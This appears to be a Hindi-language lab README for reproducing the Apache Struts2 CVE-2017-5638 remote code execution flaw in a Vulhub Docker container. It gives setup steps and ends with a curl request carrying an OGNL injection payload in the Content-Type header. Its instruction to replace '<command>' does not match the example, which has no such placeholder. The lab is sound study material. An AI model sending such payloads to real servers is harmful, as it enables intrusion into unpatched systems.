
Apache Struts2 (CVE-2017-5638) में एक गंभीर रिमोट कोड निष्पादन (RCE) कमजोरी के शोषण को प्रदर्शित करने वाली एक व्यावहारिक प्रयोगशाला, जो Vulhub Docker वातावरण का उपयोग करती है। इसमें असुरक्षित कंटेनर चलाने के लिए सेटअप निर्देश और कमांड शामिल हैं।
यह प्रोजेक्ट Apache Struts2 (CVE-2017-5638) में दूरस्थ कोड निष्पादन (RCE) कमजोरी को प्रदर्शित करता है।
हमलावर एक निर्मित HTTP Content-Type हेडर का शोषण करके कमजोर सर्वरों पर मनमाना सिस्टम कमांड निष्पादित कर सकते हैं।
यह रिपॉजिटरी कमजोरी का परीक्षण और समझने के लिए एक सुरक्षित वातावरण प्रदान करने हेतु Vulhub Docker labs का उपयोग करता है।
1️⃣ इस रिपॉजिटरी को क्लोन करें
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ कमजोर कंटेनर शुरू करें
docker compose up -d
3️⃣ कंटेनर चल रहा है सत्यापित करें
docker ps
आपको कुछ इस प्रकार देखना चाहिए:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ वेब इंटरफ़ेस का परीक्षण करें
अपना ब्राउज़र खोलें → http://<VM_IP>:8080
आपको Struts2 एप्लिकेशन का होमपेज देखना चाहिए।
VM IP उदाहरण:
192.168.56.101
⚠️ केवल नियंत्रित प्रयोगशाला वातावरण में ही शोषण करें। सार्वजनिक सर्वरों पर कभी हमला न करें।
अब आप कमजोर कंटेनर के विरुद्ध curl या Metasploit जैसी स्क्रिप्ट या टूल का उपयोग करके RCE का परीक्षण कर सकते हैं।
उदाहरण (अपने परीक्षण कमांड से <command> बदलें):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/